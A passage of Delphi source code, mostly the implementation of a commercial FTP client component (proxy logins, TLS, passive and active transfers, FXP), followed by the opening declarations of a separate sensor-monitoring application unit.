DataHost: string read FDataHost write SetDataHost; property FileNameEncoding: TclFtpFileNameEncoding read FFileNameEncoding write SetFileNameEncoding default feAutoDetect; property OnCustomFtpProxy: TNotifyEvent read FOnCustomFtpProxy write FOnCustomFtpProxy; property OnDirectoryListing: TclDirectoryListingEvent read FOnDirectoryListing write FOnDirectoryListing; end; resourcestring CustomFtpProxyRequired = 'The OnCustomFtpProxy event handler required'; const CustomFtpProxyRequiredCode = -200; implementation uses {$IFNDEF DELPHIXE2} {$IFDEF DEMO}Forms, Windows,{$ENDIF} {$ELSE} {$IFDEF DEMO}Vcl.Forms, Winapi.Windows,{$ENDIF} {$ENDIF} clIPAddress, clTlsSocket{$IFDEF LOGGER}, clLogger{$ENDIF}; const Modes: array[TclFtpTransferMode] of string = ('B', 'C', 'S', 'Z'); Structures: array[TclFtpTransferStructure] of string = ('F', 'R', 'P'); TransferTypes: array[TclFtpTransferType] of string = ('A', 'I'); ProtectionLevels: array[Boolean] of string = ('C', 'P'); { TclFtp } constructor TclFtp.Create(AOwner: TComponent); begin inherited Create(AOwner); FProxySettings := TclFtpProxySettings.Create(); FExtensions := TStringList.Create(); FTransferMode := tmStream; FTransferStructure := tsFile; FPassiveMode := False; FTransferType := ttBinary; FDataProtection := False; FDataPortBegin := 0; FDataPortEnd := 0; FFileNameEncoding := feAutoDetect; FUtf8Allowed := False; end; function TclFtp.GetReadCharSet(AStream: TStream): string; begin Result := inherited GetReadCharSet(AStream); if (Utf8Allowed) then begin case FileNameEncoding of feAutoDetect: begin if TclTranslator.IsUtf8(AStream) then begin Result := 'UTF-8'; end; end; feUseUtf8: Result := 'UTF-8'; end; end; end; function TclFtp.GetWriteCharSet(const AText: string): string; begin Result := inherited GetWriteCharSet(AText); if (Utf8Allowed) then begin case FileNameEncoding of feAutoDetect: Result := 'UTF-8'; feUseUtf8: Result := 'UTF-8'; end; end; end; function TclFtp.GetResponseCode(const AResponse: string): Integer; var code: string; begin if (Length(AResponse) > 3) and (AResponse[4] = '-') then begin Result := SOCKET_WAIT_RESPONSE; end else if (Length(AResponse) > 2) then begin code := System.Copy(AResponse, 1, 3); code := StringReplace(code, #32, 'z', [rfReplaceAll]); code := StringReplace(code, #9, 'z', [rfReplaceAll]); code := StringReplace(code, #13#10, 'z', [rfReplaceAll]); Result := StrToIntDef(code, SOCKET_WAIT_RESPONSE); end else begin Result := SOCKET_WAIT_RESPONSE; end; end; {$IFDEF DEMO} {$IFNDEF IDEDEMO} var IsDemoDisplayed: Boolean = False; {$ENDIF} {$ENDIF} procedure TclFtp.OpenConnection(const AServer: string; APort: Integer); begin if ((ProxySettings.ProxyType <> ptNone) and (ProxySettings.Server <> '')) then begin inherited OpenConnection(ProxySettings.Server, ProxySettings.Port); end else begin inherited OpenConnection(AServer, APort); end; end; procedure TclFtp.StartTls; begin SendCommandSync('AUTH TLS', [234]); inherited StartTls(); end; procedure TclFtp.OpenSession; begin {$IFDEF DEMO} {$IFNDEF STANDALONEDEMO} if FindWindow('TAppBuilder', nil) = 0 then begin MessageBox(0, 'This demo version can be run under Delphi/C++Builder IDE only. ' + 'Please visit www.clevercomponents.com to purchase your ' + 'copy of the library.', 'Information', MB_ICONEXCLAMATION or MB_TASKMODAL or MB_TOPMOST); ExitProcess(1); end else {$ENDIF} begin {$IFNDEF IDEDEMO} if (not IsDemoDisplayed) and (not IsCertDemoDisplayed) then begin MessageBox(0, 'Please visit www.clevercomponents.com to purchase your ' + 'copy of the library.', 'Information', MB_ICONEXCLAMATION or MB_TASKMODAL or MB_TOPMOST); end; IsDemoDisplayed := True; IsCertDemoDisplayed := True; {$ENDIF} end; {$ENDIF} FExtensions.Clear(); WaitResponse([220]); //TODO will not work when connecting to ssl server via proxy ExplicitStartTls(); case ProxySettings.ProxyType of ptNone: begin SendCommandSync('USER %s', [230, 232, 331], [UserName]); if (LastResponseCode = 331) then begin SendCommandSync('PASS %s', [230], [Password]); end; end; ptUserSite: begin if (ProxySettings.UserName <> '') then begin SendCommandSync('USER %s', [230, 331], [ProxySettings.UserName]); if (LastResponseCode = 331) then begin SendCommandSync('PASS %s', [230], [ProxySettings.Password]); end; end; SendCommandSync('USER %s@%s', [230, 232, 331], [UserName, GetFtpHost()]); if (LastResponseCode = 331) then begin SendCommandSync('PASS %s', [230], [GetLoginPassword()]); end; end; ptSite: begin if (ProxySettings.UserName <> '') then begin SendCommandSync('USER %s', [230, 331], [ProxySettings.UserName]); if (LastResponseCode = 331) then begin SendCommandSync('PASS %s', [230], [ProxySettings.Password]); end; end; SendCommandSync('SITE %s', [220], [GetFtpHost()]); SendCommandSync('USER %s', [230, 232, 331], [UserName]); if (LastResponseCode = 331) then begin SendCommandSync('PASS %s', [230], [GetLoginPassword()]); end; end; ptOpen: begin if (ProxySettings.UserName <> '') then begin SendCommandSync('USER %s', [230, 331], [ProxySettings.UserName]); if (LastResponseCode = 331) then begin SendCommandSync('PASS %s', [230], [GetLoginPassword()]); end; end; SendCommandSync('OPEN %s', [220], [GetFtpHost()]); SendCommandSync('USER %s', [230, 232, 331], [UserName]); if (LastResponseCode = 331) then begin SendCommandSync('PASS %s', [230], [GetLoginPassword()]); end; end; ptUserPass: begin SendCommandSync('USER %s@%s@%s', [230, 232, 331], [UserName, ProxySettings.UserName, GetFtpHost()]); if (LastResponseCode = 331) then begin if (ProxySettings.Password <> '') then begin SendCommandSync('PASS %s@%s', [230], [GetLoginPassword(), ProxySettings.Password]); end else begin SendCommandSync('PASS %s', [230], [GetLoginPassword()]); end; end; end; ptTransparent: begin if (ProxySettings.UserName <> '') then begin SendCommandSync('USER %s', [230, 331], [ProxySettings.UserName]); if (LastResponseCode = 331) then begin SendCommandSync('PASS %s', [230], [ProxySettings.Password]); end; end; SendCommandSync('USER %s', [230, 232, 331], [UserName]); if (LastResponseCode = 331) then begin SendCommandSync('PASS %s', [230], [GetLoginPassword()]); end; end; ptAccount: begin SendCommandSync('USER %s', [230, 232, 331], [UserName]); if (LastResponseCode = 331) then begin SendCommandSync('PASS %s', [230, 330], [Password]); end; if (ProxySettings.Password <> '') then begin SendCommandSync('ACCT %s', [230], [ProxySettings.Password]); end; end; ptCustomProxy: begin DoCustomFtpProxy(); end; end; GetExtensions(); end; procedure TclFtp.SetUtf8Allowed(Value: Boolean); begin FUtf8Allowed := Value; end; procedure TclFtp.CloseSession; begin FExtensions.Clear(); SetUtf8Allowed(False); SendSilentCommand('QUIT', [220, 221]); end; procedure TclFtp.GetHelp(AHelp: TStrings; const ACommand: string); var s: string; begin s := Trim(ACommand); if (s <> '') then begin s := ' ' + s; end; SendCommandSync('HELP' + s, [211, 214]); AHelp.Assign(Response); if (AHelp.Count > 0) and (System.Pos('HELP', AHelp[AHelp.Count - 1]) > 0) then begin AHelp.Delete(AHelp.Count - 1); end; end; procedure TclFtp.ChangeCurrentDir(const ANewDir: string); begin SendCommandSync('CWD %s', [200, 250], [ANewDir]); end; procedure TclFtp.ChangeToParentDir; begin SendCommandSync('CDUP', [200, 250]); end; procedure TclFtp.MakeDir(const ANewDir: string); begin SendCommandSync('MKD %s', [257, 250], [ANewDir]); end; procedure TclFtp.RemoveDir(const ADir: string); begin SendCommandSync('RMD %s', [250], [ADir]); end; procedure TclFtp.ParseDirectoryListing(AList: TStrings); var i: Integer; info: TclFtpFileInfo; begin info := TclFtpFileInfo.Create(); try for i := 0 to AList.Count - 1 do begin info.Parse(AList[i]); DoDirectoryListing(info, AList[i]); end; finally info.Free(); end; end; procedure TclFtp.GetList(AList: TStrings; const AParam: string; ADetails: Boolean); var s: string; stream: TStream; begin stream := TMemoryStream.Create(); try FResourcePos := 0; s := Trim(AParam); if (s <> '') then begin s := ' ' + s; end; if (ADetails) then begin InternalGetData('LIST' + s, stream, -1, 0); end else begin InternalGetData('NLST' + s, stream, -1, 0); end; stream.Position := 0; TclStringsUtils.LoadStrings(stream, AList, GetReadCharSet(stream)); finally stream.Free(); end; end; function TclFtp.GetCurrentDir: string; var ind: Integer; s: string; begin Result := ''; SendCommandSync('PWD', [257]); ind := System.Pos('"', Response.Text); if (ind > 0) then begin s := System.Copy(Response.Text, ind + 1, 1000); ind := System.Pos('"', s); if (ind > 0) then begin Result := System.Copy(s, 1, ind - 1); end; end; end; procedure TclFtp.SetPassiveMode(const Value: Boolean); begin if (FPassiveMode <> Value) then begin FPassiveMode := Value; Changed(); end; end; procedure TclFtp.SetTransferMode(const Value: TclFtpTransferMode); begin if (FTransferMode <> Value) then begin FTransferMode := Value; Changed(); end; end; procedure TclFtp.SetTransferStructure( const Value: TclFtpTransferStructure); begin if (FTransferStructure <> Value) then begin FTransferStructure := Value; Changed(); end; end; procedure TclFtp.SetDataPortBegin(const Value: Integer); begin if (FDataPortBegin <> Value) then begin FDataPortBegin := Value; Changed(); end; end; procedure TclFtp.SetDataPortEnd(const Value: Integer); begin if (FDataPortEnd <> Value) then begin FDataPortEnd := Value; Changed(); end; end; procedure TclFtp.SetDataPortMode(const AServer: string; ADataPort: Integer); begin SendCommandSync('PORT ' + GetFtpHostStr(AServer, ADataPort), [200]); end; procedure TclFtp.SetTransferParams; begin SendSilentCommand('MODE %s', [200, 500, 502], [Modes[TransferMode]]); SendSilentCommand('STRU %s', [200, 500, 502], [Structures[TransferStructure]]); SendSilentCommand('TYPE %s', [200, 500, 502], [TransferTypes[TransferType]]); if (UseTLS <> ctNone) then begin SendSilentCommand('PBSZ 0', [200]); SendSilentCommand('PROT %s', [200], [ProtectionLevels[DataProtection]]); end; end; procedure TclFtp.InitPassiveConnection(ADataConnection: TclTcpConnection; ADataSize: Int64; const ATargetServer: string; ATargetPort: Integer); var stream: TclNetworkStream; begin {$IFDEF LOGGER}try clPutLogMessage(Self, edEnter, 'InitPassiveConnection');{$ENDIF} if (UseTLS <> ctNone) and DataProtection then begin stream := GetTlsStream(); end else begin stream := TclNetworkStream.Create(); end; if (FirewallSettings.Server <> '') then begin ADataConnection.NetworkStream := GetFirewallStream(stream, ATargetServer, ATargetPort); end else begin ADataConnection.NetworkStream := stream; end; ADataConnection.TimeOut := TimeOut; ADataConnection.BatchSize := BatchSize; ADataConnection.BitsPerSec := BitsPerSec; ADataConnection.IsReadUntilClose := True; ADataConnection.OnProgress := DoDataProgress; ADataConnection.InitProgress(FResourcePos, ADataSize); ADataConnection.LocalBinding := Connection.IP; {$IFDEF LOGGER}clPutLogMessage(Self, edLeave, 'InitPassiveConnection'); except on E: Exception do begin clPutLogMessage(Self, edLeave, 'InitPassiveConnection', E); raise; end; end;{$ENDIF} end; procedure TclFtp.InitPortConnection(ADataConnection: TclTcpConnection; ADataSize: Int64); begin if (UseTLS <> ctNone) and DataProtection then begin ADataConnection.NetworkStream := GetTlsStream(); end else begin ADataConnection.NetworkStream := TclNetworkStream.Create(); end; ADataConnection.TimeOut := TimeOut; ADataConnection.BatchSize := BatchSize; ADataConnection.BitsPerSec := BitsPerSec; ADataConnection.IsReadUntilClose := True; ADataConnection.OnProgress := DoDataProgress; ADataConnection.InitProgress(FResourcePos, ADataSize); ADataConnection.LocalBinding := Connection.IP; end; procedure TclFtp.DoDataProgress(Sender: TObject; ABytesProceed, ATotalBytes: Int64); begin DoProgress(ABytesProceed, ATotalBytes); end; procedure TclFtp.DoDestroy; begin FExtensions.Free(); FProxySettings.Free(); inherited DoDestroy(); end; procedure TclFtp.SetPositionIfNeed; begin if (FResourcePos > 0) then begin SendCommandSync('REST %d', [350], [FResourcePos]); end; end; procedure TclFtp.OpenServerConnection(ADataConnection: TclTcpServerConnection; var ADataHost: string; var ADataPort: Integer); begin if (DataPortBegin = 0) or (DataPortEnd = 0) then begin ADataPort := ADataConnection.Listen(0); end else begin ADataPort := ADataConnection.Listen(DataPortBegin, DataPortEnd); end; ADataHost := DataHost; if (ADataHost = '') then begin ADataHost := ADataConnection.LocalBinding; end; end; procedure TclFtp.InternalGetData(const ACommand: string; ADestination: TStream; AMaxReadSize, ADataSize: Int64); var dataIP: string; dataPort: Integer; begin SetTransferParams(); try if PassiveMode then begin FDataConnection := TclTcpClientConnection.Create(); SetDataPassiveMode(dataIP, dataPort); InitPassiveConnection(FDataConnection, ADataSize, dataIP, dataPort); SetPositionIfNeed(); ClearResponse(); SendCommand(ACommand); {$IFDEF LOGGER}clPutLogMessage(Self, edInside, 'InternalGetData before opening the data connection');{$ENDIF} try if (FirewallSettings.Server <> '') then begin TclTcpClientConnection(FDataConnection).Open(TclHostResolver.GetIPAddress(FirewallSettings.Server), FirewallSettings.Port); end else begin TclTcpClientConnection(FDataConnection).Open(dataIP, dataPort); end; finally WaitingMultipleResponses([125, 150, 154]); end; end else begin FDataConnection := TclTcpServerConnection.Create(); InitPortConnection(FDataConnection, ADataSize); OpenServerConnection(TclTcpServerConnection(FDataConnection), dataIP, dataPort); SetDataPortMode(dataIP, dataPort); SetPositionIfNeed(); ClearResponse(); SendCommand(ACommand); WaitingMultipleResponses([125, 150, 154]); TclTcpServerConnection(FDataConnection).Accept(); end; {$IFDEF LOGGER} if not FDataConnection.Active then clPutLogMessage(Self, edInside, 'InternalGetData: FDataConnection.Active = False'); {$ENDIF} if FDataConnection.Active or FDataConnection.NetworkStream.HasReadData then begin BeginAccess(); try ADestination.Position := FResourcePos; FDataConnection.BytesToProceed := AMaxReadSize; FDataConnection.ReadData(ADestination); FResourcePos := ADestination.Position; finally EndAccess(); end; end; if not FDataConnection.IsAborted and (AMaxReadSize > -1) then begin SendCommand('ABOR'); end; if FDataConnection.Active then begin FDataConnection.Close(True); end; WaitingMultipleResponses([225, 226, 250, 426, 450]); if (FDataConnection.IsAborted and (LastResponseCode = 226)) then begin WaitingMultipleResponses([225, 226]); end else if (LastResponseCode = 426) or (LastResponseCode = 450) then begin WaitingMultipleResponses([225, 226]); end; finally FDataConnection.Free(); FDataConnection := nil; end; end; procedure TclFtp.GetFile(const ASourceFile: string; ADestination: TStream); begin BeginAccess(); try FResourcePos := ADestination.Position; finally EndAccess(); end; InternalGetData(Format('RETR %s', [ASourceFile]), ADestination, -1, GetFileSizeIfNeed(ASourceFile)); end; procedure TclFtp.PutFile(ASource: TStream; const ADestinationFile: string); begin FResourcePos := 0; InternalPutData('STOR ' + ADestinationFile, ASource, -1); end; procedure TclFtp.AppendFile(ASource: TStream; const ADestinationFile: string); begin FResourcePos := 0; InternalPutData('APPE ' + ADestinationFile, ASource, -1); end; procedure TclFtp.PutUniqueFile(ASource: TStream); begin FResourcePos := 0; InternalPutData('STOU', ASource, -1); end; procedure TclFtp.Rename(const ACurrentName, ANewName: string); begin SendCommandSync('RNFR %s', [350], [ACurrentName]); SendCommandSync('RNTO %s', [250], [ANewName]); end; procedure TclFtp.Delete(const AFileName: string); begin SendCommandSync('DELE %s', [250], [AFileName]); end; function TclFtp.GetFileSize(const AFileName: string): Int64; begin SendCommandSync('TYPE %s', [200], [TransferTypes[TransferType]]); SendCommandSync('SIZE %s', [213], [AFileName]); Result := ParseFileSize(); end; function TclFtp.ParseFileSize: Int64; var s: string; begin s := Trim(Copy(Response.Text, 4, 1000)); Result := StrToInt64Def(s, -1); end; procedure TclFtp.InternalPutData(const ACommand: string; ASource: TStream; AMaxWriteSize: Int64); var dataIP: string; dataPort: Integer; begin SetTransferParams(); try if PassiveMode then begin FDataConnection := TclTcpClientConnection.Create(); SetDataPassiveMode(dataIP, dataPort); InitPassiveConnection(FDataConnection, ASource.Size, dataIP, dataPort); SetPositionIfNeed(); ClearResponse(); SendCommand(ACommand); {$IFDEF LOGGER}clPutLogMessage(Self, edInside, 'InternalPutData before opening the data connection');{$ENDIF} try if (FirewallSettings.Server <> '') then begin TclTcpClientConnection(FDataConnection).Open(TclHostResolver.GetIPAddress(FirewallSettings.Server), FirewallSettings.Port); end else begin TclTcpClientConnection(FDataConnection).Open(dataIP, dataPort); end; finally WaitingMultipleResponses([110, 125, 150]); end; end else begin FDataConnection := TclTcpServerConnection.Create(); InitPortConnection(FDataConnection, ASource.Size); OpenServerConnection(TclTcpServerConnection(FDataConnection), dataIP, dataPort); SetDataPortMode(dataIP, dataPort); SetPositionIfNeed(); ClearResponse(); SendCommand(ACommand); WaitingMultipleResponses([110, 125, 150]); TclTcpServerConnection(FDataConnection).Accept(); end; {$IFDEF LOGGER} if not FDataConnection.Active then clPutLogMessage(Self, edInside, 'InternalGetData: FDataConnection.Active = False'); {$ENDIF} if FDataConnection.Active then begin BeginAccess(); try ASource.Position := FResourcePos; FDataConnection.BytesToProceed := AMaxWriteSize; FDataConnection.WriteData(ASource); FResourcePos := ASource.Position; finally EndAccess(); end; FDataConnection.Close(True); end; WaitingMultipleResponses([225, 226, 250, 426, 450]); if (FDataConnection.IsAborted and (LastResponseCode = 226)) then begin WaitingMultipleResponses([226, 225]); end else if (LastResponseCode = 426) or (LastResponseCode = 450) then begin WaitingMultipleResponses([226, 225]); end; finally FDataConnection.Free(); FDataConnection := nil; end; end; procedure TclFtp.SendKeepAlive; begin Noop(); end; procedure TclFtp.SetDataHost(const Value: string); begin if (FDataHost <> Value) then begin FDataHost := Value; Changed(); end; end; procedure TclFtp.SetDataPassiveMode(var AHost: string; var ADataPort: Integer); var ip: string; begin {$IFDEF LOGGER}try clPutLogMessage(Self, edEnter, 'SetDataPassiveMode');{$ENDIF} SendCommandSync('PASV', [227]); ParsePassiveModeResponse(AHost, ADataPort); if TclIPAddress4.IsPrivateUseIP(AHost) then begin try if ((ProxySettings.ProxyType <> ptNone) and (ProxySettings.Server <> '')) then begin ip := TclHostResolver.GetIPAddress(ProxySettings.Server); {$IFDEF LOGGER}clPutLogMessage(Self, edInside, 'SetDataPassiveMode, GetIPAddress(ProxySettings.Server)');{$ENDIF} end else begin ip := TclHostResolver.GetIPAddress(Server); {$IFDEF LOGGER}clPutLogMessage(Self, edInside, 'SetDataPassiveMode, GetIPAddress(Server)');{$ENDIF} end; if not TclIPAddress4.IsPrivateUseIP(ip) then begin AHost := ip; end; except {$IFNDEF LOGGER} on EclSocketError do; {$ELSE} on E: EclSocketError do begin clPutLogMessage(Self, edInside, 'SetDataPassiveMode socket error: %d', nil, [E.ErrorCode]); end; {$ENDIF} end; end; {$IFDEF LOGGER}clPutLogMessage(Self, edInside, 'SetDataPassiveMode, host: %s, port: %d', nil, [AHost, ADataPort]);{$ENDIF} {$IFDEF LOGGER}clPutLogMessage(Self, edLeave, 'SetDataPassiveMode'); except on E: Exception do begin clPutLogMessage(Self, edLeave, 'SetDataPassiveMode', E); raise; end; end;{$ENDIF} end; procedure TclFtp.ParsePassiveModeResponse(var AHost: string; var ADataPort: Integer); var ind: Integer; s: string; begin s := Trim(Response.Text); ind := TextPos('(', s); if (ind < 1) then begin ind := RTextPos(#32, s); end; s := system.Copy(s, ind + 1, 1000); ind := TextPos(')', s); if (ind > 0) then begin system.Delete(s, ind, 1000); end; ParseFtpHostStr(s, AHost, ADataPort); {$IFDEF LOGGER}clPutLogMessage(Self, edInside, 'ParsePassiveModeResponse, host: %s, port: %d', nil, [AHost, ADataPort]);{$ENDIF} end; procedure TclFtp.SetTransferType(const Value: TclFtpTransferType); begin if (FTransferType <> Value) then begin FTransferType := Value; Changed(); end; end; procedure TclFtp.GetFile(const ASourceFile: string; ADestination: TStream; APosition, ASize: Int64); begin BeginAccess(); try if (ADestination.Size < (APosition + ASize)) then begin ADestination.Size := (APosition + ASize); end; FResourcePos := APosition; finally EndAccess(); end; InternalGetData(Format('RETR %s', [ASourceFile]), ADestination, ASize, GetFileSizeIfNeed(ASourceFile)); end; function TclFtp.ParseFileDate: TDateTime; var datestr: string; y, m, d, h, n, s: Word; tt: TDateTime; begin datestr := Trim(Copy(Response.Text, 4, 1000)); if (Length(datestr) < 14) then begin Result := 0; Exit; end; y := StrToIntDef(Copy(datestr, 1, 4), 1980); m := StrToIntDef(Copy(datestr, 5, 2), 1); d := StrToIntDef(Copy(datestr, 7, 2), 1); h := StrToIntDef(Copy(datestr, 9, 2), 0); n := StrToIntDef(Copy(datestr, 11, 2), 0); s := StrToIntDef(Copy(datestr, 13, 2), 0); if not TryEncodeDate(y, m, d, Result) then begin Result := 0; end; if TryEncodeTime(h, n, s, 0, tt) then begin Result := Result + tt; end; end; function TclFtp.GetFileDate(const AFileName: string): TDateTime; begin SendCommandSync('MDTM %s', [213], [AFileName]); Result := ParseFileDate(); end; procedure TclFtp.GetFile(const ASourceFile, ADestinationFile: string); var stream: TStream; begin stream := TFileStream.Create(ADestinationFile, fmCreate); try GetFile(ASourceFile, stream); finally stream.Free(); end; end; procedure TclFtp.Abort; begin //check for FXP mode if Active and (FDataConnection <> nil) then begin SendCommand('ABOR'); FDataConnection.Abort(); end; end; procedure TclFtp.PutFile(ASource: TStream; const ADestinationFile: string; APosition, ASize: Int64); const cmd: array[Boolean] of string = ('STOR ', 'APPE '); begin FResourcePos := APosition; InternalPutData(cmd[(APosition > 0)] + ADestinationFile, ASource, ASize); end; procedure TclFtp.PutFile(const ASourceFile, ADestinationFile: string); var stream: TStream; begin stream := TFileStream.Create(ASourceFile, fmOpenRead or fmShareDenyWrite); try PutFile(stream, ADestinationFile); finally stream.Free(); end; end; function TclFtp.FileExists(const AFileName: string): Boolean; function GetFtpFileName(const AFullName: string): string; var ind: Integer; begin ind := LastDelimiter('/\', AFullName); Result := system.Copy(AFullName, ind + 1, MaxInt); end; var list: TStrings; begin try SendCommandSync('TYPE %s', [200], [TransferTypes[TransferType]]); SendCommandSync('SIZE %s', [213, 550], [AFileName]); Result := (LastResponseCode <> 550); except on EclSocketError do begin list := TStringList.Create(); try GetList(list, AFileName, False); Result := SameText(Trim(GetFtpFileName(list.Text)), Trim(GetFtpFileName(AFileName))); finally list.Free(); end; end; end; end; procedure TclFtp.SetProxySettings(const Value: TclFtpProxySettings); begin FProxySettings.Assign(Value); end; function TclFtp.GetFtpHost: string; begin if (Port = DefaultFtpPort) then begin Result := Server; end else begin Result := Server + ':' + IntToStr(Port); end; end; function TclFtp.GetLoginPassword: string; begin Result := Password; end; procedure TclFtp.DoCustomFtpProxy; begin if Assigned(OnCustomFtpProxy) then begin OnCustomFtpProxy(Self); end else begin raise EclSocketError.Create(CustomFtpProxyRequired, CustomFtpProxyRequiredCode); end; end; procedure TclFtp.Noop; begin SendCommandSync('NOOP', [200]); end; procedure TclFtp.DoDirectoryListing(AFileInfo: TclFtpFileInfo; const Source: string); begin if Assigned(OnDirectoryListing) then begin OnDirectoryListing(Self, AFileInfo, Source); end; end; procedure TclFtp.DirectoryListing(const AParam: string); var list: TStrings; begin list := TStringList.Create(); try GetList(list, AParam, True); ParseDirectoryListing(list); finally list.Free(); end; end; procedure TclFtp.BeginAccess; begin if (DataAccessor <> nil) then begin DataAccessor.Enter(); end; end; procedure TclFtp.EndAccess; begin if (DataAccessor <> nil) then begin DataAccessor.Leave(); end; end; procedure TclFtp.FxpAppendFile(const ASourceFile, ADestinationFile: string; ASourceSite: TclFtp); begin InternalFxpOperation('APPE', ASourceFile, ADestinationFile, ASourceSite, Self); end; procedure TclFtp.InternalFxpOperation(const APutMethod, ASourceFile, ADestinationFile: string; ASourceSite, ADestinationSite: TclFtp); var cmd, dataIP: string; dataPort: Integer; begin Assert(ASourceSite <> ADestinationSite); ASourceSite.SetTransferParams(); ADestinationSite.SetTransferParams(); if PassiveMode then begin ASourceSite.SetDataPassiveMode(dataIP, dataPort); ADestinationSite.SetDataPortMode(dataIP, dataPort); end else begin ADestinationSite.SetDataPassiveMode(dataIP, dataPort); ASourceSite.SetDataPortMode(dataIP, dataPort); end; ASourceSite.ClearResponse(); ASourceSite.SendCommand('RETR ' + ASourceFile); ASourceSite.WaitingMultipleResponses([125, 150, 154]); cmd := ADestinationFile; if (cmd <> '') then begin cmd := #32 + cmd; end; cmd := APutMethod + cmd; ADestinationSite.ClearResponse(); ADestinationSite.SendCommand(cmd); ADestinationSite.WaitingMultipleResponses([110, 125, 150]); ASourceSite.WaitingMultipleResponses([225, 226, 250, 426, 450]); if (ASourceSite.LastResponseCode = 426) or (ASourceSite.LastResponseCode = 450) then begin ASourceSite.WaitingMultipleResponses([225, 226]); end; ADestinationSite.WaitingMultipleResponses([225, 226, 250, 426, 450]); if (ADestinationSite.LastResponseCode = 426) or (ADestinationSite.LastResponseCode = 450) then begin ADestinationSite.WaitingMultipleResponses([225, 226]); end; end; procedure TclFtp.FxpGetFile(const ASourceFile, ADestinationFile: string; ADestinationSite: TclFtp); begin InternalFxpOperation('STOR', ASourceFile, ADestinationFile, Self, ADestinationSite); end; procedure TclFtp.FxpPutFile(const ASourceFile, ADestinationFile: string; ASourceSite: TclFtp); begin InternalFxpOperation('STOR', ASourceFile, ADestinationFile, ASourceSite, Self); end; procedure TclFtp.FxpPutUniqueFile(const ASourceFile: string; ASourceSite: TclFtp); begin InternalFxpOperation('STOU', ASourceFile, '', ASourceSite, Self); end; function TclFtp.GetFileSizeIfNeed(const AFileName: string): Int64; begin Result := 0; if Assigned(OnProgress) then begin try Result := GetFileSize(AFileName); except on EclSocketError do ; end; end; end; procedure TclFtp.SetUseTLS(const Value: TclClientTlsMode); begin if (UseTLS <> Value) then begin if not (csLoading in ComponentState) then begin if (Value <> ctNone) then begin PassiveMode := True; DataProtection := True; end; end; inherited SetUseTLS(Value); end; end; function TclFtp.GetDefaultPort: Integer; begin Result := DefaultFtpPort; end; procedure TclFtp.GetExtensions; var i: Integer; s: string; begin FExtensions.Clear(); SendSilentCommand('FEAT', [211]); if (LastResponseCode = 211) then begin for i := 1 to Response.Count - 1 do begin s := Response[i]; if (Pos('END', UpperCase(s)) > 0) then Break; FExtensions.Add(Trim(s)); end; end; SetUtf8Allowed(FindInStrings(FExtensions, 'UTF8') > -1); end; procedure TclFtp.SetDataProtection(const Value: Boolean); begin if (FDataProtection <> Value) then begin FDataProtection := Value; Changed(); end; end; procedure TclFtp.SetFileNameEncoding(const Value: TclFtpFileNameEncoding); begin if (FFileNameEncoding <> Value) then begin FFileNameEncoding := Value; Changed(); end; end; procedure TclFtp.SetFilePermissions(const AFileName: string; AOwner, AGroup, AOther: TclFtpFilePermissions); var perm: string; begin perm := Format('%d%d%d', [GetFtpFilePermissionsInt(AOwner), GetFtpFilePermissionsInt(AGroup), GetFtpFilePermissionsInt(AOther)]); SendCommandSync('SITE CHMOD %s %s', [200], [perm, AFileName]); end; procedure TclFtp.InternalSendCommandSync(const ACommand: string; const AOkResponses: array of Integer); var i: Integer; okResps: array of Integer; begin SetLength(okResps, SizeOf(AOkResponses) + 1); okResps[0] := 225; for i := Low(AOkResponses) to High(AOkResponses) do begin okResps[i + 1] := AOkResponses[i]; end; ClearResponse(); SendCommand(ACommand); WaitingMultipleResponses(okResps); if (LastResponseCode = 225) then begin WaitingMultipleResponses(AOkResponses); end; end; procedure TclFtp.ClearResponse; begin Response.Clear(); FResponsePos := 0; end; procedure TclFtp.WaitingMultipleResponses(const AOkResponses: array of Integer); var ind: Integer; begin if (Response.Count > FResponsePos) then begin ind := ParseResponse(FResponsePos, AOkResponses); if (ind > -1) then begin FResponsePos := ind + 1; end else begin if not ((Length(AOkResponses) = 1) and (AOkResponses[Low(AOkResponses)] = SOCKET_DOT_RESPONSE)) and (LastResponseCode <> SOCKET_WAIT_RESPONSE) then begin raise EclFtpError.Create(Trim(Response.Text), LastResponseCode); end; FResponsePos := InternalWaitResponse(FResponsePos, AOkResponses) + 1; DoReceiveResponse(Response); end; end else begin FResponsePos := InternalWaitResponse(FResponsePos, AOkResponses) + 1; DoReceiveResponse(Response); end; end; end.
unit Main; interface uses Windows, MMSystem, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, IniFiles, Misc, SensorFrame, DdhAppX, Menus, SyncObjs, ConvTP, ExtCtrls, NMUDP, DataTypes, SensorTypes, StdCtrls; type TMainThread = class; TFormMain = class(TForm) AppExt: TDdhAppExt; PopupMenu: TPopupMenu; pmiClose: TMenuItem; pmiAbout: TMenuItem; N1: TMenuItem; pmiSuspend: TMenuItem; pmiResume: TMenuItem; NMUDP: TNMUDP; N2: TMenuItem; pmiShowHide: TMenuItem; pmiReadOnly: TMenuItem; PnlCmd: TPanel; memoEcho: TMemo; Timer: TTimer; Panel1: TPanel; BtnClear: TButton; cbShowDataDump: TCheckBox; StTxtTrafficIn: TStaticText; StTxtTrafficOut: TStaticText; procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean); procedure pmiCloseClick(Sender: TObject); procedure pmiAboutClick(Sender: TObject); procedure AppExtTrayDefault(Sender: TObject); procedure pmiResumeClick(Sender: TObject); procedure pmiSuspendClick(Sender: TObject); procedure TimerTimer(Sender: TObject); procedure NMUDPInvalidHost(var handled: Boolean); procedure NMUDPBufferInvalid(var handled: Boolean; var Buff: array of Char; var length: Integer); procedure pmiReadOnlyClick(Sender: TObject); procedure BtnClearClick(Sender: TObject); procedure cbShowDataDumpClick(Sender: TObject); procedure FormKeyPress(Sender: TObject; var Key: Char); private { Private declarations } function Get_FrameSensor(i: Integer): TFrameSensor; function LogMsg(const DT:TDateTime; const Msg:String):String; procedure AddEchoText(const S:String); procedure Set_SensorsReadOnly(const Value: Boolean); procedure Start; procedure Stop; procedure WriteToLog(const S:String); public { Public declarations } Ini:TIniFile; Thd:TMainThread; Sensors:TList; StartCnt,OldCnt:Int64; StartTime:TDateTime; NotFirst:Boolean; Period:TDateTime; property FrameSensor[i:Integer]:TFrameSensor read Get_FrameSensor; property SensorsReadOnly:Boolean write Set_SensorsReadOnly; end; TServiceHandler = function(const InData:String; var OutData:String):Boolean of object; TMainThread=class(TThread) Sensors:TList; ComPort:String; ComSpeed:Integer; DialMaxDuration:Integer; ClearWatchdog:Boolean; CS:TCriticalSection; NeedTimeResync:Boolean; ShowDataDump:Boolean; 